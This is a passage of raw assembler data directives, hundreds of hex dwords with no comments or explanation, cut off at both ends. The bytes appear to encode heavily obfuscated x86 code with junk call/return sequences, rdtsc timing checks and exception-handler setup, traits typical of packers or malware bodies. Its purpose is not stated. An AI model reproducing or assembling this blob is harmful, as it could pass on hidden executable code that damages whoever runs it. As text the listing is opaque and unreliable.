323A5BDh, 0E195FF06h dd 6A06030Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 4C31C356h, 8B151308h, 31210DA2h dd 1ABDBD8Bh, 29600603h, 313DDB5h, 958B5006h, 60305ADh dd 0BD83615Bh, 603218Dh, 4F840F02h, 60000000h, 244CBBB8h dd 10E916h, 0A7CF0000h, 0F6D2AF9Bh, 80F986F5h, 19983A54h dd 8B6142FBh, 301FD85h, 399D8B06h, 0C6060300h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0E2AD37C3h, 0B50245F6h, 85C7C502h, 60330B9h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0BFC35040h dd 55A615D4h, 12E9h, 0A38E9000h, 250583DBh, 75C2BE03h dd 0C90BC1D9h, 0E9F8B500h, 0FFFFF3AEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 92C35040h, 5C930BC3h, 33C18B48h dd 30469BDh, 11858D06h, 0F060328h, 6690D8B7h, 6650FA8Bh dd 6A90DA8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 74D3C353h, 0A19B51F2h, 0A7E82ABBh dd 89006A6Ch, 321998Dh, 0BB006A06h, 5A680B65h, 0E55E858Dh dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BD8B18C3h, 6032341h, 8B05C083h, 665790DFh dd 505BFA8Bh, 820Fh, 66900000h, 7E64E781h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0DEE026C3h, 8B66006Ah, 0C995FFFAh, 8906030Ch, 3117195h dd 478D8D06h, 6A060697h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 239EC356h, 32EA9BDh dd 83D1FF06h, 31E91BDh, 850F0106h, 96h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 82C35545h, 67BC13E1h dd 40938F16h, 79BD8B87h, 6A060331h, 75950902h, 90060304h dd 9E9h, 14D6E400h, 0C6054A49h, 0B3507E11h, 6A9082h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0E25549C3h, 667B1D8Eh, 0FFB52DBFh, 31CB195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0F85BB1BFh, 2A2DBD8Bh, 60E90603h, 0E800000Eh, 0 dd 68ED815Dh, 6A0607E5h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0F742C352h, 0F8078817h dd 0BBC51083h, 6EFC353Dh, 80DF8166h, 89858D15h, 6A060688h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 86EFC351h, 0A0CDE993h, 0D830F97h, 0E9000000h dd 8, 98E1694h, 0E383F99Bh, 1AC59589h, 56900603h, 5FBB505Bh dd 903ACC3Fh, 2D65BD89h, 0FF640603h, 35h, 0E5BD8B00h, 64060322h dd 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 9498CFC3h, 6CD88F55h, 8D8978D5h dd 6031065h, 2A1585FFh, 6A0603h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 52C1EEC3h, 60D7E8DAh dd 8E9h, 1635E000h, 0FE83FE8Dh, 0FEBF0FB9h, 0FE961h, 0D4160000h dd 9604BB32h, 9AB1FC0Ch, 0F83472FEh, 0FFFF6A26h, 31A15B5h dd 6810F06h, 8B000000h, 3062D9Dh, 1595FF06h, 0E9060320h dd 10Dh, 0B0DE8Bh, 6800Fh, 0BD890000h, 6031349h, 0F70E6F5h dd 89h, 2971E400h, 31035B5h, 9E806h, 9F170000h, 454BAE74h dd 0BBD6B885h, 4B6D511Bh, 0F613C5Fh, 0D083h, 0AE800h, 0BAC0000h dd 0DB22D68Ah, 4BD4D5A0h, 5BDEBF0Fh, 66C8B60Fh, 6BAD98Bh dd 8B000000h, 859D8BC1h, 0C106031Dh, 0B58904E8h, 60309D5h dd 23E2F766h, 30A79BDh, 81C82B06h, 0FD36A6EFh, 8BD18B09h dd 3240D9Dh, 83E906h, 0BD8B0000h, 60331BDh, 4C44858Bh dd 0B5895F4Ch, 6031E45h, 6607C083h, 9D8BDF8Bh, 60325D1h dd 3B00C083h, 11830FD0h, 1000000h, 32D719Dh, 9DBF6606h dd 4BE939h, 0DA8B0000h, 0FFFF8D8Bh, 8960FFFFh, 31D0995h dd 9CBA6606h, 950961D6h, 6031305h, 0F01E183h, 2884h, 65BD3100h dd 83060324h, 0FFFFFFA5h, 8166FEFFh, 8955B2E3h, 4C4C4495h dd 0BF0F605Fh, 0D9529FBh, 6106031Bh, 0E9h, 2BB58D00h, 66060765h dd 8B0EF6BFh, 6A006AFBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 54C9C355h, 0FB315E7Dh dd 0ADB47C7Ah, 9D32C781h, 95FF40BCh, 6031FB9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9C35747h, 0E3A3A8Eh dd 12E877h, 0FD010000h, 986EE83Bh, 33F5E5EDh, 0A83C07BCh dd 1480B9E1h, 0A29BD89h, 0B95F0603h, 1064h, 819D8Bh, 0E1830603h dd 6AFCF9FCh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0BEBBC350h, 92282CAh, 3012D8Dh dd 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0CA961AC3h, 0BAh, 0D59D2300h, 6606032Bh dd 0ADC1B9BBh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0F84CC352h, 2AC2050Eh, 160315Ch, 331B59Dh, 0D9BF0F06h dd 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0AB77DD40h, 6F3D8671h, 880Dh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 99B6F7DBh, 0EEB2C3ABh, 0F98B2150h, 31D1958Bh, 85B30603h dd 1E18D8Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 47995AC3h, 7F8E34D8h, 1BA59D23h dd 95890603h, 6031789h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 720A0CC3h, 0F9856C68h, 0F501B45h dd 68Ch, 0ED952900h, 5F06031Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0C5C35242h, 0F2057E95h, 66CEC658h dd 0BD83F98Bh, 6031D65h, 69840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0B8E9C352h, 0 dd 651B529h, 8D8D0603h, 6034D1Ch, 14E8h, 0BEBFA600h, 281957E6h dd 3CA4E3E2h, 0D02ADD7h, 61BF4F81h, 58CF8154h, 5B656C93h dd 8960E1FFh, 311598Dh, 6E806h, 0DEEC0000h, 1F952C20h dd 30419D89h, 615B0603h, 21BDBD83h, 0F000603h, 49384h dd 0BFD98A00h, 657B4690h, 21BDBD83h, 0F010603h, 49A84h dd 0A4FEBB00h, 0BD8324B2h, 60321BDh, 52860F03h, 29000004h dd 30C798Dh, 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0A23863C3h, 68C0Fh, 0E7810000h dd 39158DC8h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 676EC357h, 92E39028h dd 0B4C9773Bh, 118C0F57h, 0E8000000h, 0Bh, 297DC1D3h, 946FD55Dh dd 5F616122h, 0DB81665Fh, 0E1809563h, 52006A04h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 94B31768h, 11958B60h, 8B060306h, 0C90A61F9h, 17D840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0F694E3C3h, 9D299A77h, 6032EB1h, 1381BD03h dd 858B0603h, 60313C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 25C35747h, 33195FC1h, 31C7985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0EED0BB03h, 0BB500FB7h, 0A223305h, 0E8240489h, 7, 0B7EF97EDh dd 29295335h, 30A299Dh, 6A5F06h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0F7C35040h, 2AFD9647h, 8C0F190Dh dd 5, 0E5EE9EBBh, 8526686Ch, 840F4188h, 2, 3481FE8Ah, 9786D924h dd 55006A41h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0F551492h, 0FFDF8BABh, 3140595h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0FDE800E6h, 8166725Ch, 89D8DEF7h, 6A73485h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 6639FFAFh, 8C72DF81h, 1CAE9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 85A605EAh dd 746E6C5Bh, 18BB7D6Fh, 8B1BBFB8h, 6A72C85h, 0ED9D2306h dd 52060310h, 1800C75Fh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CA94C352h dd 7D0E20B0h, 0CEA393C0h, 30B58BF5h, 0F90606A7h, 128D858Bh dd 0FA8B0603h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 81662FC3h, 8B48D2E3h, 313C185h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0CE8F9h, 76510000h, 6F47F624h, 40ABA8F6h dd 0FB8B302Fh, 68A0F5Fh, 8B000000h, 3280D9Dh, 4468906h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A2C35545h dd 0D98BB4E4h, 0BB665096h, 6A96C0FAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D04EC356h dd 6B3BF6B0h, 805668ECh, 0B5FF89EBh, 606A72Ch, 28359D8Bh dd 17680603h, 50211D66h, 0AE852h, 73300000h, 0FCA532E6h dd 83D0918h, 11E8h, 60830800h, 9824D082h, 8EFCD3D3h, 505B4917h dd 5B5F0634h, 585A310Fh, 0E8243481h, 29210265h, 301EDBDh dd 34858D06h, 500606A7h, 310F5250h, 0C7C236BFh, 89585A0Fh dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 283422C3h, 60EF0C77h, 2C15BD01h, 0B5290603h dd 6030409h, 7DBD8B61h, 0FF060317h, 3140595h, 0E1BD8B06h dd 6106032Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 20C35545h, 0B75AD88Dh, 15BD23B6h, 0C7060301h, 321BD85h dd 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 17A48C34h, 0CCEB5D0Fh, 0A19D8B74h dd 83060324h, 6A734BDh, 840F0006h, 21h, 37E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0C30509Dh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0C3C35141h, 8A5BBB87h, 6AC086h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0B38893C3h dd 83666597h, 321BDBDh, 850F0306h, 430h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 44C35747h, 0E4BA12D9h dd 1AB5AA0Ch, 8870F0Bh, 50000000h, 11419D8Bh, 835F0603h dd 6A734BDh, 840F0006h, 3F0h, 14D9D8Bh, 0B5FF0603h, 606A734h dd 2B15BD8Bh, 95FF0603h, 6032E05h, 0E226BF66h, 0DE9h, 58EE4A00h dd 63A239D2h, 0EF649DB6h, 0B58B4C9Ah, 606A728h, 0F318D89h dd 6C70603h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 5BC35747h, 4C7B721h, 0F52D862h, 965BDEBFh dd 52505250h, 310F6160h, 8C8ABB66h, 310F585Ah, 5AD98B66h dd 8B665058h, 6A96FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 762E26C3h, 0FFFFBF0Fh, 6A734B5h dd 3767BB06h, 95FF04AFh, 6032F19h, 8BDBBF0Fh, 6A728B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 44A7F2FAh, 0E78050E5h, 858B5FA6h, 603311Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 82C35141h dd 86895072h, 0C4h, 9B5BD89h, 958B0603h, 60331D1h, 4A8E6BBh dd 4C2834Dh, 0CED9D8Bh, 50890603h, 0EE96020h, 7C000000h dd 20EFCA5Dh, 4032A357h, 9F3A352Ch, 85BE6631h, 858D6122h dd 606BBF3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 94C35343h, 39852924h, 0F8060300h, 0B88689h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 60D8E3C3h, 0AFFB2481h, 26119D8Bh, 6AF80603h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 56C488AEh, 5858953h, 5B060302h, 319D8960h, 0E9060323h dd 7, 5F7AB4E3h, 61A31218h, 0A734B5FFh, 6A0606h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0E2C54CC3h, 0D6C5085Eh, 95FF52CBh, 6031CB1h, 21E99D8Bh dd 89500603h, 9E92434h, 0FC000000h, 0C33A4199h, 6C7C1233h dd 0A734B5FFh, 85290606h, 6031C51h, 966115BFh, 6595FF07h dd 0E9060311h, 12h, 2C2E3CCDh, 78EDFDEBh, 2E18317h, 72B57239h dd 0BD8354F9h dd 6031795h, 0AA840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 55BDC352h dd 0F7BED3Eh, 681h, 499D8900h, 0F06032Dh, 0E896F8B7h, 13h dd 0CF9A58A6h, 94F54CECh, 21745830h, 16970E9Ah, 5081103Fh dd 0EE952h, 7B8C0000h, 5F668441h, 17213B54h, 3BD05F02h dd 13E9310Fh, 28000000h, 4961BA91h, 1024C83Dh, 0BF0755FCh dd 0BBF471E9h, 585A85B6h, 850F505Bh, 5, 7525D1BFh, 6A9679h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 2C8927C3h, 0E380C7CCh, 34B5FF45h, 8B0606A7h, 6195FFF9h dd 0BB060306h, 3DE15B2Bh, 0A734B5FFh, 6A0606h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0E7AA56C3h, 7B7A9895h, 66FE8A67h, 0FF8B87BBh, 30AE195h dd 0BD096006h, 6030AE9h, 8A0Fh, 83610000h, 3218DBDh, 840F0206h dd 78h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h dd 76C35242h, 9D8BF869h, 60329A5h, 1FD858Bh, 6A0603h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0E0D1E7C3h, 21D1BD8Bh, 0C60603h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A9E0C763h dd 9D8BB3ABh, 60324ADh, 30B985C7h, 603h, 0F3810000h, 39254871h dd 0FFF2ECE9h, 59BD8BFFh, 8B060303h, 51006AC1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 9D89C62Dh dd 94D8276Dh, 8589E615h, 6030BF9h, 8DF0D780h, 3281185h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 246B9348h, 707F0795h, 870F6BA4h, 8, 2820Fh dd 61600000h, 60525750h, 895F5B61h, 64BB2404h, 6A1A4AF6h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 66C287A4h, 6AFE8Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0D1C35747h, 0BEF46EECh, 6643FE4Dh dd 52BF661Ch, 0A0858D22h, 8B0607F5h, 325019Dh, 5C08306h dd 90DFBF0Fh, 13E86057h, 51000000h, 8ABD06Fh, 0E4465F08h dd 6396C5C8h, 0A45CCF0Ah, 8B5ED6A7h, 505F61FBh, 0AE9h dd 955BAC00h, 0B3C2C4B4h, 90050A51h, 3870Fh, 8B660000h dd 6A006ADFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F853C352h, 6A96C8FFh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0FF085B61h, 30CC995h, 199D0B06h, 8D060309h, 697478Dh dd 499D8B06h, 0FF060314h, 55006AD1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0CCF0F590h dd 3D9529CBh, 8306030Bh, 31E91BDh, 850F0106h, 6Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D6C35646h, 25E19D89h dd 26A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0E8C35545h, 0CDBD23F0h, 0F060301h, 682h, 0C19D8B00h dd 5006032Bh, 48B0Fh, 0BB660000h, 4898088h, 0B195FF24h dd 6606031Ch, 1D2CD381h, 0D3CE9h, 0E800h, 815D0000h, 7F5AAEDh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 2EA405A0h, 8832DB04h, 858D34B7h, 6068889h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B1C35343h dd 9D8B650Ah, 603120Dh, 7DBB5090h, 9005286Dh, 17ADBD8Bh dd 0FF640603h, 35h, 12E800h, 0DA1C0000h, 35BEAC92h, 16E98A84h dd 6BDF25C9h, 26801BB0h, 248D9D8Bh, 645F0603h, 2589h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0A7B85CC3h, 0B8CE4F2Ah, 0F6DEED9h, 85FFDABFh, 6032A15h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FEC35141h dd 0DE0CB82Bh, 0E90D1840h, 9, 9FBF4DB9h, 6C2A726Ch, 6AFF6A4Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0B0CDC352h, 6CDCCDEDh, 0DA817EF9h, 1BA58589h dd 0B5FF0603h, 60310CDh, 0FFFBBF0Fh, 3201595h, 15BE906h dd 0CE80000h, 0F1000000h, 0A6531C94h, 2551D40Bh, 0F90CE57h dd 687h, 800F00h, 5F000000h, 816600B0h, 0E665C3E3h, 0B58D8970h dd 0E4060303h, 6860F71h, 31000000h, 324A99Dh, 0F613C06h dd 11883h, 0E8F78000h, 0B3C8B60Fh, 6BAFFh, 9D0B0000h, 60312C1h dd 0BD8BC18Bh, 6032339h, 0E804E8C1h, 12h, 5EB3012Bh, 0C3A7876Fh dd 2614354Eh, 83157B80h, 810FB31Fh, 6, 2C51BD8Bh, 665F0603h dd 8166E2F7h, 2BBCA0CFh, 39BD89C8h, 8B060317h, 99D89D1h dd 0E9060321h, 0B9h, 63C8EF81h, 858B442Ah, 47554C50h, 6820Fh dd 85890000h, 60320EDh, 0E907C083h, 0Dh, 0AED767B3h, 8288ACC4h dd 66169C68h, 3DBD8B49h, 8306030Fh, 840F00C0h, 0Fh, 6E8h dd 5927D400h, 66A3B6F1h, 3B5BD98Bh, 12830FD0h, 0F8000000h dd 60E9h, 6890F00h, 89000000h, 311F1BDh, 0FF8D8B06h, 31FFFFFFh dd 33121BDh, 0DABF6606h, 1E183B8h, 3B840Fh, 0BD890000h dd 6032FE1h, 13E9h, 0C3820500h, 8D84663Bh, 16D04474h, 8E009C72h dd 5864B853h, 0FFFFA583h, 1FEFFFFh, 33215B5h, 50958906h dd 6647554Ch, 0BAEED381h, 0E9h, 8FB58D00h, 60060775h, 0BE8h dd 5D2AC00h, 723EA09Eh, 34179374h, 11E9B529h, 0F590603h dd 68Ah, 19D8B00h, 61060323h, 6A74DB80h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FE540C1h, 680h, 95BD8B00h, 0FF060331h, 31FB995h, 0DEBF0F06h dd 6880Fh, 0BD330000h, 6033111h, 10C6B9h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 60C6A985h, 0FA5BD89h, 83610603h, 6AFCE1h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A803CFC3h dd 437EAB8Eh, 81BF42E6h, 81E0CFCFh, 0ED9D0352h, 0FC06031Ch dd 145BD89h, 0B80603h, 8B000000h, 312119Dh, 11BD8B06h dd 0BA06032Eh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1BC35646h dd 4FBEE627h, 5CB78012h, 0FA7BFCCh, 33AD6B1Bh, 3E8D1C2h dd 4E983D0h, 800FF475h, 2, 6ADE8Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 22EF5CC3h dd 0EE96CFAh, 0F7000000h, 0FDBC11F4h, 0FE6864C8h, 77B20230h dd 0DD9D8B36h, 0D060305h, 88h, 1C058D89h, 958B0603h, 60331D1h dd 0FE9h, 1EE1C700h, 78D38F56h, 4AADEF0Dh, 0CE00DC01h dd 1E18D8Bh, 0B5310603h, 603109Dh, 12E956h, 1E3C0000h dd 0A63E6C0Bh, 0C003E7C8h, 1421A6D9h, 0E04731F2h, 0C28B505Fh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 30FCD9Dh dd 2DB50906h, 83060328h, 31D65BDh, 840F0006h, 99h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1DC35141h, 63486B77h dd 0B8A414h, 0E9000000h, 12h, 0C5F186BDh, 5B692BB5h, 25497930h dd 0F1539D5Fh, 8D8DE568h, 6034D1Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 85C35646h, 97AFC66Bh, 9529B181h dd 60321DDh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0E23D2BC3h, 0E97AB626h, 1B10326h dd 30919BDh, 0BDBD8306h, 60321h, 35B840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0DD7B08C3h, 2664C781h, 0BD8321C9h, 60321BDh, 45840F01h dd 9000003h, 31BD99Dh, 0BDBD8306h, 3060321h, 2FC860Fh dd 0B5890000h, 6031A65h, 54E78160h, 667EE4A4h, 6AD98Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 89006AC3h, 32C45B5h, 4E18006h, 546AD2BBh, 0FC90A5Fh dd 0DB84h, 0C820F00h, 0F000000h, 680h, 9BD2900h, 8B060326h dd 313C185h, 0EE906h, 4C7B0000h, 37EDE2DAh, 0C4A2A052h dd 0D9B2E4A0h, 1C798533h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 50504AC3h, 0BB310F52h dd 18D319BFh, 489585Ah, 419D8B24h, 6A060320h, 14E900h dd 53DA0000h, 675D33C4h, 0B8BC3651h, 3EB02807h, 0E75C4002h dd 6A68E3A7h, 50FC0EFFh, 0FEEB752h, 0D98B6631h, 481585Ah dd 10049524h, 0B59D8904h, 0FF060321h, 3140595h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0BE2A9497h, 75848EABh, 0DE8B66EBh, 0A7348589h, 840F0606h dd 3, 0E9FBBF0Fh, 15Bh, 0A72C858Bh, 0C70606h, 18h, 8E9h dd 411F2100h, 13396540h, 30B58B34h, 6A0606A7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 26A3C356h, 8D895195h, 6031D19h, 41A5BF66h, 128D858Bh dd 81660603h, 89A837E3h, 39858906h, 8B060317h, 313C185h dd 0A0E38106h, 8B086022h, 311059Dh, 4468906h, 96FB8B66h dd 50FB8B66h, 0FE857h, 0A5660000h, 33227E28h, 0FEF11163h dd 7A9D441Fh, 5FF88B8Eh, 8E9965Bh, 8D000000h, 352E37E9h dd 0FF60DFF4h, 6A72CB5h, 0BF665706h, 685B69F7h, 558EE673h dd 81F98B66h, 0E58C2434h, 95895591h, 60330ADh, 0A734858Dh dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8A90C9C3h, 14E850FDh, 37000000h, 0DEF79354h dd 6D50AA59h, 85E439BCh, 2D40B921h, 66FDC153h, 905BF98Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DC35343h dd 2479F50Bh, 5E7B73B3h, 24D9D8Bh, 95FF0603h, 6031405h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4FC35545h dd 0BD131041h, 2585016Ch, 61060317h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 5AC35747h, 0DA445605h, 85C7842Ah dd 60321BDh, 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 71C35343h, 0D2EC7567h, 0A6FE6645h, 0AE8h, 32F19D00h dd 0E4A40B56h, 667A6346h, 5B8F29BBh, 0A734BD83h, 0F000606h dd 1184h, 0A59D8B00h, 0E9060305h, 21h, 9A9B509h, 30500603h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 9BC9940Ch, 6AD86AB9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CFE3C351h dd 880F7C9Fh, 3, 66FEBF0Fh, 0BD83DA8Bh, 60321BDh, 0B850F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 89FDC356h, 308B985h, 34BD8306h dd 606A7h, 3DC840Fh, 0BD8B0000h, 6031009h, 0A734B5FFh dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 479472C3h, 45414AEDh, 23499589h, 95FF0603h dd 6032E05h, 0B58B23B3h, 606A728h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 85C35747h, 0FC80D6B8h, 106C7h dd 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 35780C3h, 9DE22AF0h, 0A673D781h, 0E9966EF7h dd 0Dh, 9CEBCD22h, 3735834Bh, 430AFF2Ah, 8B665012h, 890F96F9h dd 8, 0B1BD2B53h, 5B06032Dh, 0A734B5FFh, 6A0606h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 8A2DC1C3h, 14FCBB38h, 95FF66A3h, 6032F19h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DEC35747h, 6D9C3546h dd 800F1650h, 6, 12BCCB81h, 0B58B56C4h, 606A728h, 1E8D9D89h dd 9D890603h, 6030C31h, 311D858Bh, 95090603h, 60312F5h dd 10E99D89h, 86890603h, 0C4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0E1C35646h, 138A3637h, 0BE8509Fh dd 22000000h, 0EB0BDBEBh, 0CF511E22h, 8D89BE3Dh, 603106Dh dd 0D1958B5Fh, 6A060331h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 22E7C351h, 0BBF92342h dd 8589B545h, 6031C7Dh, 8B04C283h, 317259Dh, 20508906h dd 0CE9h, 485F2A00h, 24407AA7h, 0B6C16A88h, 68A0F73h, 81000000h dd 0D0B18EDFh, 0F3858D3Fh, 0BB0606BBh, 738A8DBFh, 0B88689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 